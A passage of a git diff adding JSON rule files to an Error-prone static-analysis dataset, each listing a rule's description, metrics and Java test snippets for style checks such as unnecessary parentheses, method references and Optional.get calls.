checkedCastOnInteger() {\n Integer i = Integer.valueOf(1);\n acceptsLong(Ints.checkedCast(i));\n }\n\n public void checkedCastForIntParameter() {\n long x = 1;\n acceptsInt(Ints.checkedCast(x));\n }\n\n public void checkedCastMultipleArgs() {\n long x = 1;\n // The method expects an int for the first parameter and a long for the second parameter.\n acceptsMultipleParams(Ints.checkedCast(x), x);\n }\n\n public void toIntExactOnInt() {\n int i = 1;\n acceptsLong(Math.toIntExact(i));\n }\n\n public void toIntExactOnInteger() {\n Integer i = Integer.valueOf(1);\n acceptsLong(Math.toIntExact(i));\n }\n\n public void toIntExactForIntParameter() {\n long x = 1;\n acceptsInt(Math.toIntExact(x));\n }\n}\\" + }, + { + "description": "suggestRemovingTypeCast", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong((int) x);\n }\n }\n \n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(x);\n }\n }" + }, + { + "description": "suggestRemovingTypeCastWithoutSpacing", + "expected-problems": null, + "expected-linenumbers": [ + 260 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong((int) x);\n }\n }\n \n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(x);\n }\n }" + }, + { + "description": "suggestReplacingTypeCastWithConstrainToRange", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong((int) x);\n }\n }\n \n\n import com.google.common.primitives.Longs;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(Longs.constrainToRange(x, Integer.MIN_VALUE, Integer.MAX_VALUE));\n }\n }" + }, + { + "description": "suggestReplacingTypeCastWithoutSpacingWithConstrainToRange", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong((int) x);\n }\n }\n \n\n import com.google.common.primitives.Longs;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(Longs.constrainToRange(x, Integer.MIN_VALUE, Integer.MAX_VALUE));\n }\n }" + }, + { + "description": "suggestRemovingStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "import com.google.common.primitives.Ints;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(Ints.checkedCast(x));\n }\n }\n \n\n import com.google.common.primitives.Ints;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(x);\n }\n }" + }, + { + "description": "suggestRemovingStaticMethodWithBoxedLongArgument", + "expected-problems": null, + "expected-linenumbers": [ + 392 + ], + "code": "import com.google.common.primitives.Ints;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(Ints.checkedCast(x));\n }\n }\n \n\n import com.google.common.primitives.Ints;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(x);\n }\n }" + }, + { + "description": "suggestReplacingStaticMethodWithConstrainToRange", + "expected-problems": null, + "expected-linenumbers": [ + 427 + ], + "code": "import java.lang.Math;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(Math.toIntExact(x));\n }\n }\n \n\n import com.google.common.primitives.Longs;\n import java.lang.Math;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n long x = 1L;\n acceptsLong(Longs.constrainToRange(x, Integer.MIN_VALUE, Integer.MAX_VALUE));\n }\n }" + }, + { + "description": "suggestRemovingInstanceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 463 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(x.intValue());\n }\n }\n \n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(x);\n }\n }" + }, + { + "description": "suggestReplacingInstanceMethodWithConstrainToRange", + "expected-problems": null, + "expected-linenumbers": [ + 494 + ], + "code": "public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(x.intValue());\n }\n }\n \n\n import com.google.common.primitives.Longs;\n\n public class A {\n void acceptsLong(long value) {}\n\n void foo() {\n Long x = Long.valueOf(1);\n acceptsLong(Longs.constrainToRange(x, Integer.MIN_VALUE, Integer.MAX_VALUE));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodInvocationMatcher.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodInvocationMatcher.json new file mode 100644 index 0000000..1412deb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodInvocationMatcher.json @@ -0,0 +1,54 @@ +{ + "name": "UnnecessaryMethodInvocationMatcher", + "language": "java", + "description": "It is not necessary to wrap a MethodMatcher with methodInvocation().", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "replace", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import static com.google.errorprone.matchers.Matchers.*;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n methodInvocation(instanceMethod().anyClass().named(\"toString\"));\n }\n \n\n import static com.google.errorprone.matchers.Matchers.*;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher TO_STRING =\n instanceMethod().anyClass().named(\"toString\");\n }" + }, + { + "description": "descendIntoCombinators", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import static com.google.errorprone.matchers.Matchers.*;\nimport com.google.errorprone.matchers.Matcher;\nimport com.sun.source.tree.ExpressionTree;\n\npublic class Test {\n private static final Matcher STRINGIFY =\n methodInvocation(anyOf(instanceMethod().anyClass().named(\"toString\"), allOf(staticMethod())));\n}\n\n\n import static com.google.errorprone.matchers.Matchers.*;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher STRINGIFY =\n anyOf(instanceMethod().anyClass().named(\"toString\"), allOf(staticMethod()));\n }" + }, + { + "description": "onlyChangeMethodMatchers", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import static com.google.errorprone.matchers.Matchers.*;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.ExpressionTree;\n\n public class Test {\n private static final Matcher STRINGIFY =\n methodInvocation(\n anyOf(\n instanceMethod().anyClass().named(\"toString\"),\n allOf(hasAnnotation(\"java.lang.SuppressWarnings\"))));\n }" + }, + { + "description": "permitWithArguments", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import static com.google.errorprone.matchers.ChildMultiMatcher.MatchType.ALL;\nimport static com.google.errorprone.matchers.Matchers.*;\nimport com.google.errorprone.matchers.Matcher;\nimport com.sun.source.tree.ExpressionTree;\n\npublic class Test {\n private static final Matcher TO_STRING =\n methodInvocation(instanceMethod().anyClass().named(\"toString\"), ALL, isVariable());\n}" + }, + { + "description": "expressionStatement", + "expected-problems": null, + "expected-linenumbers": [ + 135 + ], + "code": "import static com.google.errorprone.matchers.Matchers.*;\nimport com.google.errorprone.matchers.Matcher;\nimport com.sun.source.tree.StatementTree;\n\npublic class Test {\n private static final Matcher TARGETED =\n expressionStatement(\n methodInvocation(\n instanceMethod().onDescendantOfAny(\"java.lang.Class\", \"java.lang.String\")));\n}\n\n\n import static com.google.errorprone.matchers.Matchers.*;\n import com.google.errorprone.matchers.Matcher;\n import com.sun.source.tree.StatementTree;\n\n public class Test {\n private static final Matcher TARGETED =\n expressionStatement(\n instanceMethod().onDescendantOfAny(\"java.lang.Class\", \"java.lang.String\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodReference.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodReference.json new file mode 100644 index 0000000..efc211b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryMethodReference.json @@ -0,0 +1,118 @@ +{ + "name": "UnnecessaryMethodReference", + "language": "java", + "description": "This method reference is unnecessary, and can be replaced with the variable itself.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, Function fn) {\n // BUG: Diagnostic contains: (fn)\n return xs.map(fn::apply);\n }\n }" + }, + { + "description": "positiveCase_refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, Function fn) {\n return xs.map(fn::apply);\n }\n }\n \n\n import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, Function fn) {\n return xs.map(fn);\n }\n }" + }, + { + "description": "positiveWithExtraInheritance", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, A fn) {\n // BUG: Diagnostic contains: (fn)\n return xs.map(fn::apply);\n }\n\n abstract static class A implements Function {\n @Override\n public String apply(Integer i) {\n return i.toString();\n }\n }\n }" + }, + { + "description": "negativeWithExtraInheritance", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, A fn) {\n return xs.map(fn::frobnicate);\n }\n\n abstract static class A implements Function {\n abstract String frobnicate(Integer i);\n }\n }" + }, + { + "description": "withNonAbstractMethodOnInterface", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n abstract class Test {\n void test(A a) {\n // BUG: Diagnostic contains:\n foo(a::foo);\n foo(a::bar);\n }\n\n abstract void foo(A a);\n\n interface A {\n String foo(Integer i);\n\n default String bar(Integer i) {\n return null;\n }\n }\n }" + }, + { + "description": "positiveCaseViaKnownDelegate", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import com.google.common.base.Predicate;\n import java.util.function.Function;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, Predicate p) {\n // BUG: Diagnostic contains: (p)\n return xs.filter(p::apply);\n }\n }" + }, + { + "description": "positiveCaseViaConvert", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "import com.google.common.base.Converter;\n import java.util.stream.Stream;\n\n class Test {\n Stream map(Stream xs, Converter fn) {\n // BUG: Diagnostic contains: (fn)\n return xs.map(fn::convert);\n }\n }" + }, + { + "description": "positiveCaseViaConvert_viaIntermediateType", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "import com.google.common.base.Converter;\n import com.google.common.base.Function;\n\n class Test {\n void a(Converter fn) {\n // BUG: Diagnostic contains: b(fn)\n b(fn::convert);\n }\n\n void b(Function fn) {}\n }" + }, + { + "description": "ignoreSuper", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "class S implements Runnable {\n public void run() {}\n }\n \n\n abstract class Test extends S {\n abstract void r(Runnable r);\n\n public void run() {\n r(super::run);\n }\n }" + }, + { + "description": "subType", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "import java.util.function.Consumer;\n\n abstract class T {\n void f(Consumer c) {}\n\n void g(Consumer c) {\n f(c::accept);\n }\n }" + }, + { + "description": "range_isJavaPredicate", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "import com.google.common.collect.Range;\n import java.util.stream.Stream;\n\n abstract class T {\n Stream g(Stream x, Range range) {\n // BUG: Diagnostic contains: filter(range)\n return x.filter(range::contains);\n }\n }" + }, + { + "description": "range_isGuavaPredicate", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "import com.google.common.base.Predicate;\n import com.google.common.collect.Range;\n import java.util.stream.Stream;\n\n abstract class T {\n void g(Range range) {\n // BUG: Diagnostic contains: b(range)\n b(range::contains);\n }\n\n abstract void b(Predicate p);\n }" + }, + { + "description": "listToIterator", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n abstract class T {\n void test() {\n List x = ImmutableList.of(1, 2);\n // BUG: Diagnostic contains:\n Iterable xi = x::iterator;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryOptionalGet.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryOptionalGet.json new file mode 100644 index 0000000..03273af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryOptionalGet.json @@ -0,0 +1,102 @@ +{ + "name": "UnnecessaryOptionalGet", + "language": "java", + "description": "This code can be simplified by directly using the lambda parameters instead of calling get..() on optional.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "genericOptionalVars_sameVarGet_replacesWithLambdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(x -> System.out.println(op.get()));\n op.map(x -> Long.parseLong(op.get()));\n op.filter(x -> op.get().isEmpty());\n op.flatMap(x -> Optional.of(op.get()));\n op.flatMap(x -> Optional.of(op.orElseThrow()));\n }\n }\n \n\n import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(x -> System.out.println(x));\n op.map(x -> Long.parseLong(x));\n op.filter(x -> x.isEmpty());\n op.flatMap(x -> Optional.of(x));\n op.flatMap(x -> Optional.of(x));\n }\n }" + }, + { + "description": "guava_sameVarGet_replacesWithLambdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "import com.google.common.base.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.transform(x -> Long.parseLong(op.get()));\n }\n }\n \n\n import com.google.common.base.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.transform(x -> Long.parseLong(x));\n }\n }" + }, + { + "description": "genericOptionalVars_orElseVariations_replacesWithLambdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(x -> System.out.println(op.orElse(\"other\")));\n op.ifPresent(x -> System.out.println(op.orElseGet(() -> \"other\")));\n op.ifPresent(x -> System.out.println(op.orElseThrow(RuntimeException::new)));\n }\n }\n \n\n import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(x -> System.out.println(x));\n op.ifPresent(x -> System.out.println(x));\n op.ifPresent(x -> System.out.println(x));\n }\n }" + }, + { + "description": "guava_orVariations_replacesWithLambdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "import com.google.common.base.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.transform(x -> Long.parseLong(op.or(\"other\")));\n op.transform(x -> Long.parseLong(op.or(() -> \"other\")));\n }\n }\n \n\n import com.google.common.base.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.transform(x -> Long.parseLong(x));\n op.transform(x -> Long.parseLong(x));\n }\n }" + }, + { + "description": "genericOptionalVars_sameVarGet_lamdaBlocks_replacesWithLamdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 164 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(\n x -> {\n System.out.println(op.get());\n });\n op.map(\n x -> {\n return Long.parseLong(op.get());\n });\n op.filter(\n x -> {\n return op.get().isEmpty();\n });\n op.flatMap(\n x -> {\n return Optional.of(op.get());\n });\n }\n }\n \n\n import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.ifPresent(\n x -> {\n System.out.println(x);\n });\n op.map(\n x -> {\n return Long.parseLong(x);\n });\n op.filter(\n x -> {\n return x.isEmpty();\n });\n op.flatMap(\n x -> {\n return Optional.of(x);\n });\n }\n }" + }, + { + "description": "genericOptionalVars_differentOptionalVarGet_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op1 = Optional.of(\"hello\");\n Optional op2 = Optional.of(\"hello\");\n op1.ifPresent(x -> System.out.println(op2.get()));\n }\n }" + }, + { + "description": "genericOptionalVars_differentMethodGet_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n myOpFunc1().ifPresent(x -> System.out.println(myOpFunc2().get()));\n }\n\n private Optional myOpFunc1() {\n return Optional.of(\"hello\");\n }\n\n private Optional myOpFunc2() {\n return Optional.of(\"hello\");\n }\n }" + }, + { + "description": "genericOptionalMethods_sameMethodInvocation_replacesWithLamdaArg", + "expected-problems": null, + "expected-linenumbers": [ + 270 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n myOpFunc().ifPresent(x -> System.out.println(myOpFunc().get()));\n }\n\n private Optional myOpFunc() {\n return Optional.of(\"hello\");\n }\n }" + }, + { + "description": "primitiveOptionals", + "expected-problems": null, + "expected-linenumbers": [ + 292 + ], + "code": "import java.util.OptionalDouble;\n import java.util.OptionalInt;\n import java.util.OptionalLong;\n\n public class Test {\n private void home() {\n OptionalDouble opDouble = OptionalDouble.of(1.0);\n OptionalInt opInt = OptionalInt.of(1);\n OptionalLong opLong = OptionalLong.of(1L);\n opDouble.ifPresent(x -> System.out.println(opDouble.getAsDouble()));\n opInt.ifPresent(x -> System.out.println(opInt.getAsInt()));\n opLong.ifPresent(x -> System.out.println(opLong.getAsLong()));\n }\n }\n \n\n import java.util.OptionalDouble;\n import java.util.OptionalInt;\n import java.util.OptionalLong;\n\n public class Test {\n private void home() {\n OptionalDouble opDouble = OptionalDouble.of(1.0);\n OptionalInt opInt = OptionalInt.of(1);\n OptionalLong opLong = OptionalLong.of(1L);\n opDouble.ifPresent(x -> System.out.println(x));\n opInt.ifPresent(x -> System.out.println(x));\n opLong.ifPresent(x -> System.out.println(x));\n }\n }" + }, + { + "description": "differentReceivers", + "expected-problems": null, + "expected-linenumbers": [ + 334 + ], + "code": "import java.util.Optional;\n\n public class Test {\n abstract static class T {\n abstract Optional getValue();\n }\n\n static void test(T actual, T expected) {\n actual\n .getValue()\n .ifPresent(\n actualValue -> {\n String expectedValue = expected.getValue().get();\n actualValue.equals(expectedValue);\n });\n }\n }" + }, + { + "description": "orElseThrow", + "expected-problems": null, + "expected-linenumbers": [ + 362 + ], + "code": "import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.flatMap(x -> Optional.of(op.orElseThrow()));\n }\n }\n \n\n import java.util.Optional;\n\n public class Test {\n private void home() {\n Optional op = Optional.of(\"hello\");\n op.flatMap(x -> Optional.of(x));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryParentheses.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryParentheses.json new file mode 100644 index 0000000..14c28e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryParentheses.json @@ -0,0 +1,142 @@ +{ + "name": "UnnecessaryParentheses", + "language": "java", + "description": "These parentheses are unnecessary; it is unlikely the code will be misinterpreted without them", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n void f(int x) {\n if (true) System.err.println((x));\n }\n }\n \n\n class Test {\n void f(int x) {\n if (true) System.err.println(x);\n }\n }" + }, + { + "description": "anonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import com.google.common.base.Function;\n import com.google.common.collect.Iterables;\n import java.util.List;\n\n class Test {\n Iterable f(List l) {\n return Iterables.transform(\n l,\n (new Function() {\n public Integer apply(Integer a) {\n return a * 2;\n }\n }));\n }\n }\n \n\n import com.google.common.base.Function;\n import com.google.common.collect.Iterables;\n import java.util.List;\n\n class Test {\n Iterable f(List l) {\n return Iterables.transform(\n l,\n new Function() {\n public Integer apply(Integer a) {\n return a * 2;\n }\n });\n }\n }" + }, + { + "description": "binaryTrees", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class Test {\n int e() {\n // BUG: Diagnostic contains:\n return (\"b\").hashCode();\n }\n\n int f() {\n return (\"a\" + \"b\").hashCode();\n }\n\n int g() {\n return (1 + 2) & 3;\n }\n }" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n Predicate foo(Predicate a) {\n // BUG: Diagnostic contains:\n return foo((this::equals));\n }\n }" + }, + { + "description": "lambdaLambda", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import java.util.function.Function;\n\n class Test {\n Function> r = x -> (y -> y);\n }" + }, + { + "description": "lambda", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "import java.util.function.Function;\n\n class Test {\n Function f() {\n // BUG: Diagnostic contains:\n Function r = (y -> y);\n // BUG: Diagnostic contains:\n return (y -> y);\n }\n }" + }, + { + "description": "unaryPostFixParenthesesNotNeeded", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "class Test {\n void print(Integer i) {\n int j = (i++) + 2;\n }\n }\n \n\n class Test {\n void print(Integer i) {\n int j = i++ + 2;\n }\n }" + }, + { + "description": "unaryPostFixParenthesesNeeded", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "class Test {\n void print(Integer i) {\n (i++).toString();\n }\n }" + }, + { + "description": "unaryPreFixParenthesesNeeded", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "class Test {\n void print(Integer i) {\n (++i).toString();\n }\n }" + }, + { + "description": "negativeStatements", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "class Test {\n void print(boolean b, int i) {\n if (b) {}\n while (b) {}\n do {} while (b);\n switch (i) {\n }\n synchronized (this) {\n }\n }\n }" + }, + { + "description": "positiveStatements", + "expected-problems": null, + "expected-linenumbers": [ + 255 + ], + "code": "class Test {\n int f(boolean b, Integer x) {\n assert (b);\n return (x);\n }\n }\n \n\n class Test {\n int f(boolean b, Integer x) {\n assert b;\n return x;\n }\n }" + }, + { + "description": "switchExpression", + "expected-problems": null, + "expected-linenumbers": [ + 281 + ], + "code": "class Test {\n public boolean match(String value) {\n return switch (value) {\n case \"true\" -> true;\n case \"false\" -> false;\n default -> throw new RuntimeException(\"Unable to match\");\n };\n }\n }" + }, + { + "description": "unaryMinus", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "class Test {\n public void f() {\n Double d = (Double) (-1.0);\n d = (double) (-1.0);\n }\n }\n \n\n class Test {\n public void f() {\n Double d = (Double) (-1.0);\n d = (double) -1.0;\n }\n }" + }, + { + "description": "annotationsWithoutTrailingParentheses", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "@Deprecated(forRemoval = true)\n class Test {\n @Override\n public String toString() {\n return \"Test\";\n }\n }" + }, + { + "description": "annotationWithTrailingParentheses", + "expected-problems": null, + "expected-linenumbers": [ + 345 + ], + "code": "@Deprecated(forRemoval = true)\n class Test {\n @Override()\n public String toString() {\n return \"Test\";\n }\n }\n \n\n @Deprecated(forRemoval = true)\n class Test {\n @Override\n public String toString() {\n return \"Test\";\n }\n }" + }, + { + "description": "recordParameters", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n import org.checkerframework.dataflow.qual.Pure;\n import com.google.auto.value.AutoBuilder;\n\n /**\n * A record with parameters.\n *\n * @param x parameter x\n * @param y parameter y\n * @param z parameter z\n */\n public record R(@Pure boolean x, @Pure @Nullable String y, @Pure @Nullable String z) {\n @AutoBuilder\n public abstract static class Builder {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryQualifier.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryQualifier.json new file mode 100644 index 0000000..95215da --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryQualifier.json @@ -0,0 +1,110 @@ +{ + "name": "UnnecessaryQualifier", + "language": "java", + "description": "A qualifier annotation has no effect here.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 201, + "branches": 20, + "apis": 1, + "test": [ + { + "description": "unannotatedField", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n @Qual int x;\n }" + }, + { + "description": "unannotatedLocal", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n void foo() {\n // BUG: Diagnostic contains:\n @Qual int x;\n }\n }" + }, + { + "description": "parameterOnNonInjectionPointMethod", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n void foo(\n // BUG: Diagnostic contains:\n @Qual int x) {}\n }" + }, + { + "description": "methodReturnType_notProvider_finding", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n @Qual\n int foo() {\n return 1;\n }\n }" + }, + { + "description": "methodReturnType_provider_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import com.google.inject.Provides;\n\n class Test {\n @Provides\n @Qual\n int foo() {\n return 1;\n }\n }" + }, + { + "description": "customProvidesMethod_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "class Test {\n @ProvidesSomething\n @Qual\n int foo() {\n return 1;\n }\n }" + }, + { + "description": "unannotatedConstructor_finding", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n Test(@Qual int x) {}\n }" + }, + { + "description": "injectedField_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import javax.inject.Inject;\n\n class Test {\n @Inject @Qual int x;\n }" + }, + { + "description": "exemptedClassAnnotation_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "import dagger.Component;\n\n @Component.Builder\n interface Builder {\n Builder setName(@Qual String name);\n\n String build();\n }" + }, + { + "description": "exemptedClassAnnotation_subcomponentFactory_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import dagger.BindsInstance;\n import dagger.Subcomponent;\n\n @Subcomponent.Factory\n interface Factory {\n Object create(@BindsInstance @Qual boolean isEnabled);\n }" + }, + { + "description": "lambdas_neverMeaningful", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "import java.util.function.Function;\n\n interface Test {\n // BUG: Diagnostic contains:\n Function F = (@Qual Integer a) -> a;\n }" + }, + { + "description": "interface_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "interface Test {\n @Qual\n Object frobnicator();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarySetDefault.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarySetDefault.json new file mode 100644 index 0000000..fd2bde5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessarySetDefault.json @@ -0,0 +1,30 @@ +{ + "name": "UnnecessarySetDefault", + "language": "java", + "description": "Unnecessary call to NullPointerTester#setDefault", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 240, + "branches": 10, + "apis": 7, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.testing.NullPointerTester;\n\n class Test {\n {\n NullPointerTester tester = new NullPointerTester();\n tester.setDefault(String.class, \"\");\n tester\n .setDefault(ImmutableList.class, ImmutableList.of(42))\n .setDefault(ImmutableList.class, ImmutableList.of())\n .setDefault(ImmutableList.class, ImmutableList.of())\n .setDefault(ImmutableList.class, ImmutableList.of(42));\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.common.testing.NullPointerTester;\n\n class Test {\n {\n NullPointerTester tester = new NullPointerTester();\n tester\n .setDefault(ImmutableList.class, ImmutableList.of(42))\n .setDefault(ImmutableList.class, ImmutableList.of(42));\n }\n }" + }, + { + "description": "exhaustive", + "expected-problems": 